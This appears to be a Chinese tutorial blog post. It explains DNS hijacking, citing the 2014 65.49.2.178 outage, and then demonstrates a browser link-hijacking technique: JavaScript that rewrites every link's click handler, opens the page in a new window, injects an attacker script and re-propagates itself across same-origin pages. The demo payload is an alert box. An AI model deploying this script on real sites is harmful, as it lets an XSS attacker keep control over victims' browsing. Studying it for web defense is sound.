
1.前言
相信大家都遇到过这样的情况:
当你在家正兴致勃勃的网上冲浪的时候,忽然之间,所有网页都打不开了,所有联网的软件都无法联网了,用测速软件测网速,网速却显示正常,但就是无法浏览网页或者打开网页奇慢。
这是什么原因呢?
很不幸的告诉你,这是因为你的 DNS 被劫持 了
2014年1月21日下午15点中国境内发生 DNS 解析服务故障(主要原因是DNS污染或 DNS劫持),导致 百度 等多家网站长达几个小时之内无法访问。其指向的 IP地址 为65.49.2.178,所以该IP又被冠名为65.49.2.178事件。
2014年1月21日下午三点十分左右,全国 DNS 域名解析系统出现了大范围的访问故障,包括 DNSPod 在内的多家域名解析服务提供商予以确认,此次事故波及全国,有近三分之二的网站不同程度的出现了不同地区、不同网络环境下的访问故障,其中百度、新浪 等知名网站也受到了影响。
2.什么是dns劫持?
DNS劫持 又称域名劫持,是指通过某些手段取得某域名的解析控制权,修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址。
如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS劫持的基本原理。DNS劫持其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。
好了扯了这么多,进入正题,我今天要分享的是与之相关的另外一种劫持技术——浏览器劫持技术
3.浏览器劫持
浏览器劫持技术是指通过劫持用户点击链接操作,在打开新窗口的时候注入攻击者的 JavaScript 脚本,以达到将 XSS(跨站脚本攻击)威胁延续到同域内的其他页面的目的。
Example:
HTML文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> </head> <body> <a href="test_映纷创意.html">映纷创意</a> <a href="test_映纷创意_joinus.html">映纷创意_joinus</a> <script type="text/javascript"> function scriptobj(window_obj, src){ s = window_obj.document.createElement('script'); s.src = src; window_obj.document.getElementsByTagName('body')[0].appendChild(s); } function hijack_links(js){ js:注入打开的同域链接页面的目标 js 文件*/ for(i = 0; i < document.links.length; i++){ document.links[i].onclick = function(){ x = window.open(this.href); setTimeout("scriptobj(x,'"+js+"')",1000); return false; }; } } hijack_links('js/alert.js'); </script> </body> </html>
|
js 文件(alert.js)
通过测试,我们发现从当前网页打开的所有链接都被劫持了(这里为了测试,使用弹出框来代表被注入的脚本文件)



为了让这样的劫持继续下去,可以在 alert.js 中继续执行 hijack_links ,以达到在同域内对任意页面进行控制的目的。
修改后的 js 文件如下(alert.js):
(这里依然使用弹出框来代表新打开窗口已被注入脚本文件)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| alert("哈哈,你被劫持了!"); function scriptobj(window_obj, src) { s = window_obj.document.createElement('script'); s.src = src; window_obj.document.getElementsByTagName('body')[0].appendChild(s); } function hijack_links(js) { js:注入打开的同域链接页面的目标 js 文件*/ for(i = 0; i < document.links.length; i++) { document.links[i].onclick = function() { x = window.open(this.href); setTimeout("scriptobj(x,'" + js + "')", 1000); return false; }; } } hijack_links('js/alert.js');
|
这时,你会发现同域内的所有你打开的网页都被劫持了,即使你从新打开的网页中点击任何链接打开其他窗口依然在被劫持的域名内,无论你打开多少网页,都会被攻击者注入脚本。
参考《Web 前端黑客技术揭秘》